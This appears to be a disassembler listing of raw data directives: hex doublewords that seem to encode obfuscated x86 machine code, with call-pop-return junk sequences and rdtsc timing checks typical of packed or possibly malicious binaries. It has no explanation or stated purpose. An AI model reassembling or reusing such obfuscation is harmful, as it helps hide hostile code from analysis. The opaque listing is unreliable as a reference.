		dd 4D23419Dh, 0AE906h, 10B20000h, 789A837Ah, 0F5DA116Ah
		dd 211185C7h, 64Dh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0CFCE9CC3h, 41B74BD0h
		dd 43E9DF8Bh, 31FFFFF3h, 4D1EB985h, 6AC18B06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0DA44C353h, 67D1842Ah, 8B7E5715h, 4D273DBDh,	87BB6606h
		dd 8E9C7h, 39B70000h, 48A7B6DDh, 858D2E1Fh, 64D0735h, 890Fh
		dd 8A500000h, 240489FCh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0E8BD77C3h, 20C72390h
		dd 66AE60FFh, 0DD39F381h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 0CADA64C3h, 298A0Fh
		dd 0E8600000h, 0Ah, 52E271CFh, 87417C7Dh, 0E85B1159h, 11h
		dd 0F93C4667h, 0BA0E072Eh, 3EB4B7E8h, 52D0003Eh, 0F615FB3h
		dd 858DDFB7h, 6515498h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 13C35545h, 0E5EAF73Fh, 14E82ECCh, 80000000h
		dd 4BDC922Ah, 78F75D43h, 0D1CC3621h, 0ABCA311Fh, 8905B85Ah
		dd 4D27599Dh, 0C0835B06h, 8E99005h, 1C000000h, 0EAAD8F50h
		dd 50203243h, 7711BF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 47D2C6A4h, 6ADDCBh, 6ADA8B66h
		dd 95FFF500h, 64D1149h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 12C35343h, 46606776h,	565107D7h, 8B6660A8h
		dd 8E0FDEh, 61000000h, 17DD8D09h, 8D8D064Dh, 6509A13h
		dd 0D2C38166h, 6AD1FF6Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 38C9C357h, 0BB579FD8h
		dd 27FEAE0Ah, 81BD835Fh, 1064D12h, 0BC850Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 7E623AC3h, 9F5F17B4h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0E890C1C3h, 11h, 58B89790h
		dd 4A37556Ch, 0BC858123h, 0D0E5C691h, 5FF88B81h, 60525050h
		dd 8D0Fh, 0F610000h, 6ABB6631h,	90585AC4h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D9C35646h, 0FC98A706h
		dd 0FB99531h, 95FF064Dh, 64D2431h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0E0C35343h,	0D6795746h, 23E96117h
		dd 0E800000Eh, 0
		dd 0A2ED815Dh, 66065154h, 8820EF81h, 6800Fh, 0B5890000h
		dd 64D00B5h, 8A57858Dh,	0EE90650h, 9F000000h, 0F89FEBC6h
		dd 6BDB0B6Bh, 3175AA4Ch, 61E78040h, 0AE85790h, 0EF000000h
		dd 0B75FFFE5h, 8F15EFA5h, 13E898h, 46640000h, 586EA8E3h
		dd 5CA94B52h, 0BAF30E7Eh, 4CC0709Bh, 5B5B5F69h,	0AFE7BB50h
		dd 6A904F4Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 492BC352h, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0B38EC357h, 5E0C38DDh, 88BB6632h,	258964B6h
		dd 0
		dd 181585FFh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BA7F4C3h, 4D2EA59Dh, 6AFF6A06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 29A4C356h, 6BC3B2F6h, 0AE934h, 27E00000h
		dd 38E79715h, 0BDE33156h, 1FE5B5FFh, 8B0F064Dh,	6, 30E5BD2Bh
		dd 95FF064Dh, 64D0411h,	146E9h,	1810F00h, 0F9000000h, 9D8B00B0h
		dd 64D21EDh, 39BB70E6h,	0E41431DDh, 95BD2371h, 9064D22h
		dd 4D0D6D8Dh, 0F613C06h, 11A83h, 0C8B60F00h, 32898D89h
		dd 0AE9064Dh, 69000000h, 8C4520CDh, 566057E7h, 6BA29h
		dd 8D290000h, 64D0EB9h,	29BD89h, 0C18B064Dh, 1EE99D01h
		dd 0E8C1064Dh, 6517BF04h, 0F7665384h, 12E8E2h, 0D0990000h
		dd 0CDCDC4D5h, 0EB2C2E3Ch, 1778EDFDh, 3902E183h, 5BD98B66h
		dd 7E8C82Bh, 98000000h,	581E8B41h, 5FF94CA2h, 9D09D18Bh
		dd 64D2C7Dh, 0CE9h, 0C59D8900h,	29064D15h, 4D282D9Dh, 29858B06h
		dd 8B064D0Fh, 4D3031BDh, 7C08306h, 31AD9D89h, 0C083064Dh
		dd 0CE86000h, 0EE000000h, 9E33EF33h, 1DAE6E06h,	817BC45Bh
		dd 4398F1E7h, 8E85E77h,	46000000h, 0B4195B80h, 94621E8h
		dd 4D1EC195h, 3B615B06h, 1C830FD0h, 8B000000h, 4D25BDBDh
		dd 41E906h, 0CE90000h, 96000000h, 0C549D92Dh, 5632F19Dh
		dd 8BE4A40Bh, 4D27358Dh, 1E18306h, 21840Fh, 85890000h
		dd 64D036Dh, 2735A583h,	8BFE064Dh, 4D2DA19Dh, 29958906h
		dd 0F064D0Fh, 0E9F8BFh,	8D000000h, 50E7B3B5h, 0CB816606h
		dd 6AEFDAh, 14E9h, 0AB46DC00h, 0D9A98E76h, 0A5F55F4Dh
		dd 595E95A5h, 9ACE812Ah, 1195FFE5h, 6A064D05h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 436BC356h, 0B9FCDCBDh, 0A09h, 0E7AC06BBh, 0FCE18346h
		dd 1BC19D23h, 6AFC064Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0DD59C355h,	5358A516h
		dd 0B878C2h, 56000000h,	2DB58531h, 0BA5F064Dh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F7C35242h
		dd 0C233AD8Ch, 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0EE93Eh, 0FE1E0000h,	1FF03E2Eh, 5B631D06h, 62E66392h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C1C35242h
		dd 9248442Ch, 75257F22h, 1F259D8Bh, 880D064Dh, 29000000h
		dd 4D041DB5h, 99958B06h, 6A064D05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A60DC351h
		dd 0C858949Dh, 51D8D8Bh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0B1AF10C3h, 1D8509ABh
		dd 57064D30h, 23259589h, 895F064Dh, 4D15F1BDh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 950AC352h, 0BE9h, 6FA53700h,	8E32D924h, 0A217C12Dh
		dd 45BD83FCh, 64D1Ch, 0A3840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8D15C3h
		dd 8D89FBBFh, 64D2E65h,	0B8h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E040D678h
		dd 56D165A8h, 8BDE8B28h, 4D11C5BDh, 9E906h, 0D8620000h
		dd 9FE5CF89h, 8DEF0432h, 4D4DE58Dh, 68A0F06h, 8B000000h
		dd 4D1155BDh, 89BF6606h, 6AE1FFB9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0F001C357h
		dd 34A0078h, 4D25ED9Dh,	0E9BD8306h, 64D02h, 423840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 833E7FC3h, 4D02E9BDh, 840F0106h, 414h, 18C0Fh, 83FC0000h
		dd 4D02E9BDh, 860F0306h, 3CAh, 739DCFBBh, 89606023h, 4D200995h
		dd 61FE8B06h, 52D98C66h, 237DBD8Bh, 0F95B064Dh,	2304E180h
		dd 4D0C19BDh, 0FC90A06h, 15284h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0A36F3A25h
		dd 0B822F5CAh, 0B1BD89BDh, 8B064D23h, 4D187985h, 33F98B06h
		dd 4D063985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 24211671h, 0E6B70A9Bh, 38C0F50h
		dd 66000000h, 489F98Bh,	9D9D8B24h, 6A064D06h, 0F98B6600h
		dd 4E8h, 1F03FF00h, 50DA8B00h, 448BDE8Bh, 0E8600424h, 10h
		dd 0FD68B939h, 7C2F3CDCh, 0B136FC1Bh, 53A5338Ch, 9E9h
		dd 0A3599900h, 4CBEE58Ch, 6159698Fh, 0A7B7008Bh, 4244489h
		dd 0D3BF6651h, 6A585F49h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 254FC357h, 1C519589h
		dd 840F064Dh, 0Ch, 6800Fh, 880F0000h, 0
		dd 0EB195FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 79E1E8C3h, 0E5B58B60h, 8B064D2Ah
		dd 4D1641BDh, 85896106h, 650B795h, 157DBD8Bh, 6E9064Dh
		dd 6A000002h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0C21C351h, 8B3FA171h, 50B78D85h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0A1D2101Ah, 89B5895Ah, 0C7064D25h, 1800h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 1D651C46h, 5A168880h, 9D8BE0C5h,	64D0601h
		dd 0B791B58Bh, 870F0650h, 6, 2B199D0Bh,	858B064Dh, 64D32E5h
		dd 9E9h, 2CC30D00h, 7369D3AEh, 689EF49h, 25A5BD01h, 858B064Dh
		dd 64D1879h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	32C35141h, 4468974h, 8C0Fh, 9D0B0000h, 64D0B61h
		dd 89A6B750h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 73A8DC3h, 38C0Fh, 0EB800000h, 8DB5FF8Bh
		dd 6A0650B7h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 891DC351h, 0E2E4E5Ah, 2C246823h
		dd 3481404Ah, 552FDB24h, 51006A40h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 420D9DE9h, 22275794h
		dd 10E93C02h, 47000000h, 113B49Ah, 466A47CBh, 0DC096919h
		dd 8DC9D288h, 50B79585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 6004A58Ah, 0FAEE681h
		dd 0AE971D4h, 0AB000000h, 5436B94Fh, 0D22A40C0h, 0E8906123h
		dd 0Fh,	2083480Bh, 928469Bh, 3877F4ADh,	56797F46h, 5F5F5B51h
		dd 0B686BB50h, 0FF901469h, 4D0EB195h, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 986D7434h, 0D1A80CA2h, 2810FC3h, 8B000000h, 85C761DAh
		dd 64D02E9h, 3,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	61C35646h, 858960F2h, 64D159Dh,	61BAEC80h, 2F859D8Bh
		dd 0BD83064Dh, 650B795h, 1F840F00h, 0E9000000h,	0Fh, 0AC54B2A1h
		dd 82D82538h, 1F581198h, 0E9D2773Eh, 21h, 1B5D8D29h, 3050064Dh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 7D9D8BC0h, 81064D26h, 133A74E7h, 0E9BD834Ah,	3064D02h
		dd 461850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 134694C3h, 832B0B9Bh, 50B795BDh
		dd 840F0006h, 433h, 0B5FFDA8Bh,	650B795h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 14h, 36C35040h, 1BD19D8Bh
		dd 95FF064Dh, 64D2D99h,	1ACDB589h, 0B58B064Dh, 650B789h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 12C35242h
		dd 0ED373EDFh, 589B529h, 8166064Dh, 0C73642EFh,	1000106h
		dd 0F6806000h, 0F9BD8921h, 61064D2Dh, 8E850h, 790F0000h
		dd 0E6D1555Eh, 0BB669A30h, 895BBD01h, 0DE92434h, 74000000h
		dd 0F89A0361h, 0D1BF7F5Ch, 80B0EA28h, 7D853157h, 5B064D0Fh
		dd 0B795B5FFh, 6A0650h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 2E8690C3h, 0FF448696h, 4D308D95h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 17D2F689h, 39548BDh, 8D89D8AEh, 64D10C9h
		dd 0B789B58Bh, 6A0650h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 8EE952C3h, 167CBCDAh, 0A232C781h
		dd 858B2D8Fh, 64D2385h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 3BC35343h, 0C486894Ah, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 82B8C352h, 0C019D2Bh, 0BD8B064Dh, 64D2605h, 65C28160h
		dd 0E95BC3E4h, 9, 0A0F5C00Fh, 5BD1102Fh, 958B61D8h, 64D0599h
		dd 0AE9h, 54BD0B00h, 3B2DF8C1h,	832E4A38h, 6A04C2h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0E276E7C3h, 0DCA3E9F1h, 4149BBEAh, 508925ADh, 56006A20h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 9904D410h, 45BD8BF9h, 8D064D2Ah, 50CBF085h, 0E9BD8906h
		dd 89064D2Fh, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1404h
		db 0, 41h
aQTj		db 'QÃâj',0             ; DATA XREF: ___:00436834o
		db 66h
		dd 0FFB0AABFh, 50B795B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 3195FFF1h
		dd 66064D24h, 0E0BCDF81h, 2A41BD8Bh, 8950064Dh,	0F602434h
		dd 0F57DEB7h, 8Eh, 0FF615800h, 50B795B5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 8CFD1850h, 2CC195FFh, 6A064Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 839D16C3h, 4D32A5BDh
		dd 840F0006h, 66h, 0BD8B6060h, 64D2CB9h, 61B4B161h, 0BB2BE781h
		dd 505056E6h, 67BF5652h, 5F4DE137h, 5250310Fh, 890Fh, 310F0000h
		dd 585A585Ah, 6A243489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 709CC353h, 28681EDBh
		dd 298BDB6Bh, 4D332D85h, 85296006h, 64D229Dh, 54A0D9BEh
		dd 0B5FF6172h, 650B795h, 17C595FFh, 850F064Dh, 6, 2D01B501h
		dd 0B5FF064Dh, 650B795h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 33C35242h, 0EAEE2C03h, 8D292086h, 64D142Dh
		dd 0FFFEB70Fh, 4D29B995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A87921C5h
		dd 0ED976B14h, 1505BD83h, 0F02064Dh, 4784h, 0C840F00h
		dd 0F000000h, 68Fh, 0D1BD0300h,	8B064D2Eh, 4D15A985h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 78727A29h, 4CBB6692h, 0C6BEh, 9D2BD88Ah, 64D2DB1h, 211185C7h
		dd 64Dh, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 190424h, 50400000h, 47C36EC3h, 0E9C11ED2h, 0Bh, 0FE3CFD08h
		dd 5EDA20BCh, 0E9C1CD70h, 0FFFFF311h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 57C35040h, 3095B589h, 0C18B064Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h
		dd 432A13E7h, 860776F2h, 0D1D9D8Bh, 858D064Dh, 64D0735h
		dd 0D0D8589h, 0AE8064Dh, 43000000h, 0DB188EF7h,	4AFF6AE6h
		dd 0FB8B66FBh, 8B66505Fh, 240489F8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 3AC35242h, 6043E021h, 51CC6942h
		dd 6A5BF5h, 26859D09h, 6A064Dh,	5C1BD8Bh, 858D064Dh, 65164C0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E7C35141h
		dd 8AE3083Ch, 831C5F9Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 5CEB2C3h, 663BC382h
		dd 66748D84h, 599BDF81h, 8946B350h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 312E3BC3h
		dd 41BD29ABh, 6A064D31h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 816660CCh, 6A58E0DBh
		dd 0B8E0F00h, 0E9000000h, 6, 0A34F42Ch,	0DF811AEAh, 1FE15BA4h
		dd 114995FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0F9BAB9C3h, 138D8DCCh, 6A06509Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 1D29C351h, 859ED0FCh, 0A6BF5E03h,	0EE9h
		dd 0FD0DC600h, 4F2D44AFh, 0BCC2AF0Bh, 0FFFA7384h, 4BD380D1h
		dd 28B0Fh, 0D98B0000h, 1281BD83h, 0F01064Dh, 6985h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 756C787Ch, 59F9A1E3h, 0A59D3143h, 31064D2Eh,	4D179D8Dh
		dd 8B026A06h, 4D05A99Dh, 0B6B35006h, 6A240489h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 4588C353h, 95FF1764h, 64D2431h, 2BE1B589h, 0C1E9064Dh
		dd 0E800000Eh, 0
		dd 0CAED815Dh, 6A065164h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0AC17C357h,	0A607B0Dh
		dd 2CCD9D8Bh, 0B70F064Dh, 53006AF8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 7E4054B6h
		dd 8D389C0Ah, 508A5785h, 2880F06h, 8A000000h, 0CFB350FAh
		dd 0F240489h, 181h, 0FF64FC00h,	35h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 258964DEh
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 83C35040h
		dd 271DE2AAh, 0FB8BB788h, 181585FFh, 12E8064Dh,	6E000000h
		dd 0C4D450BBh, 0B0BF1862h, 0F496DC0Fh, 4978CF66h, 0D9958936h
		dd 5B064D0Fh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 977B4AC3h, 93DF80FDh, 25F9B5FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0CE96FC3h, 0A4000000h, 0B5A585F0h, 0F94B028Bh
		dd 897EED53h, 4D24059Dh, 1195FF06h, 0E9064D04h,	184h, 2DAD8D31h
		dd 0B0064Dh, 0BE8h, 24832C00h, 1D9DF9EDh, 8DCD04C8h, 0E65FFB8Bh
		dd 13E970h, 69030000h, 0CAE63B43h, 0DF06C15Ah, 21DA2582h
		dd 2C2FEC80h, 0E871E47Ah, 0Ah, 5185D46Fh, 152109C4h, 0EE89CE1h
		dd 15000000h, 9160C899h, 2F00BA2h, 4E799FF2h, 0DE8D3h
		dd 32400000h, 0AC087F8Fh, 0CEDE920Ch, 5BF1FA59h, 613C5B5Bh
		dd 10E830Fh, 9D8B0000h,	64D1C5Dh, 0E9C8B60Fh, 14h, 386A9907h
		dd 52A4A9C3h, 0B8B7C3Fh, 67489FBBh, 48D63052h, 6BAh, 9E800h
		dd 39A30000h, 739AA471h, 5B9393B0h, 0E8C1C18Bh,	11E904h
		dd 0E98F0000h, 79867521h, 434C3257h, 0E60D79ACh, 0B37E68E4h
		dd 0E2F76609h, 0CFDF8166h, 0E9C82BE8h, 5, 34743D1Dh, 0F5D18B8Ah
		dd 6E9h, 0BD9D8B00h, 8B064D2Dh,	4D318585h, 0CE906h, 0C0A90000h
		dd 0CBC26C0Fh, 0F092B60Eh, 0C083FC63h, 9EBF6607h, 0C0830Ah
		dd 5860Fh, 81660000h, 3BEBF3EBh, 16830FD0h, 0BB000000h
		dd 5FFC4BC9h, 5BE9h, 699D8B00h,	31064D07h, 4D1FBD85h, 0E98D8B06h
		dd 51064D2Dh, 8F0F60h, 0B1000000h, 835F6182h, 840F01E1h
		dd 34h,	550DBB66h, 2DE9A583h, 66FE064Dh, 638CC381h, 31859589h
		dd 8E0F064Dh, 13h, 0CE8h, 5203D900h, 83039834h,	78BB96ADh
		dd 0E95BFC25h, 0
		dd 0F416B58Dh, 0F98B0650h, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A20158C3h
		dd 0B021EA1Bh, 0E9FFB531h, 6, 25ADE0EBh, 95FFCEFBh, 64D0511h
		dd 10D18D29h, 3BB9064Dh, 6A000007h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D55C353h
		dd 3E61C90Ah, 79BD8941h, 66064D22h, 0E183FE8Bh,	55006AFCh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 19ADCCD2h, 0B21E706h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 419D8B18h, 2B064D2Fh
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 750A2184h, 850BFD91h, 9CBF662Eh,	5D8589D8h
		dd 2B064D31h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0C96F809Ah, 343A48DCh, 840FF9B7h
		dd 4, 0A0DABF66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 89FEBF0Fh
		dd 4D2FAD85h, 880D06h, 958B0000h, 64D0599h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 51C35646h, 8B6021BAh
		dd 4D2CF9BDh, 1D8D8B06h, 8B064D05h, 4D2DDD9Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 4F62C356h, 0C06C3596h, 860FBDE8h, 6,	28CD9D8Bh, 0BD83064Dh
		dd 64D1C45h, 6B840F00h,	0B8000000h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 43C35747h
		dd 0E58D8D19h, 6A064D4Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0C09AC355h,	6C0598D6h
		dd 9E9h, 22618500h, 0F3BFD1ECh,	830FEB15h, 6, 20099D8Bh
		dd 0E1FF064Dh, 5EC0E781h, 0BD837239h, 64D02E9h,	0E2840F00h
		dd 66000004h, 0E8F6CF81h, 2E9BD83h, 0F01064Dh, 4EB84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 10E80F2Eh, 61000000h, 0D0F86E08h, 2A115ABAh
		dd 0B4996989h, 1186E68h, 4D2765BDh, 0BD835B06h,	64D02E9h
		dd 6F860F03h, 53000004h, 328DBD8Bh, 605B064Dh, 66DABF0Fh
		dd 9D33D98Ch, 64D1B29h,	6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 8AC8C356h
		dd 31511175h, 4D269995h, 0C90A5B06h, 121840Fh, 8BF90000h
		dd 4D187985h, 35BD2B06h, 33064D21h, 4D063985h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0B20379CAh, 96AC0A2Eh, 830F3D84h, 1,	0C18D89F9h, 90064D1Bh
		dd 86BB66h, 8B669050h, 6A006ADEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CB2DC350h
		dd 7063C403h, 0DEBF0F98h, 4E8h,	1F03FF00h, 7BBBF00h, 8A501E4Ah
		dd 24448BD8h, 2820F04h,	8B000000h, 50008BDFh, 0E0BB6652h
		dd 0F310F14h, 386h, 0F88B6600h,	4489585Ah, 0F88A0424h
		dd 0B195FF58h, 0E9064D0Eh, 14h,	68F1539Dh, 0BC7C42E5h
		dd 0AE9F63Eh, 16FD2A8Dh, 8DCA4B85h, 0B7958589h,	81660650h
		dd 0E9FA33C7h, 14h, 0CF94BA22h,	2FBC9BC6h, 0C4FA4AFCh
		dd 0FF88FFB8h, 3F127CD8h, 266E9h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0BCA26848h
		dd 75231EE4h, 0D99D89B0h, 8B064D0Bh, 50B78D85h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 0A0FE583Ah, 0E960F5DEh, 8, 0F5A719ACh, 628587FDh, 0B800Fh
		dd 5E80000h, 55000000h,	0FB4B34C3h, 0FA8A615Eh,	1800C7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 175784C3h, 0E9DA8B66h, 0Bh, 8EDC67D2h, 6628BD37h
		dd 8B74FB3Bh, 50B791B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4D50CAB4h, 858B4270h
		dd 64D32E5h, 0B959531h,	689064Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0CAC35747h,	0BDBDEAFFh, 0BC82D4E6h
		dd 79858BC4h, 6A064D18h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 687DC351h, 0CEF99C81h
		dd 4468902h, 0C3805056h, 965B5F82h, 12E9h, 238F2600h, 0E64E0274h
		dd 0AC148B27h, 0BC5EEEF8h, 5076EE00h, 56525250h, 310F5B5Fh
		dd 13E950h, 42580000h, 0E5063731h, 55F710h, 97C62341h
		dd 5595C29Eh, 585A5BA6h, 11E996h, 0FC8D0000h, 30881A20h
		dd 4D48052Ch, 25AB6B58h, 0FF591529h, 50B78DB5h,	0DEBF0F06h
		dd 268D9D09h, 0D668064Dh, 5709EDBDh, 8B665250h,	0E9310FF9h
		dd 13h,	5BC109A4h, 20444428h, 0C6092352h, 0F2D1492Dh, 5A04834Ch
		dd 34815B58h, 0F2BE2924h, 7121BF09h, 858D658Fh,	650B795h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EC35747h
		dd 42CE39F6h, 90102D17h, 3D43BF66h, 6A9050h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 5AA2A6C3h
		dd 3E019C29h, 870F77E1h, 8, 2850Fh, 61600000h, 54D38166h
		dd 35B5092Bh, 0FF064D18h, 4D0EB195h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F9BB23Eh
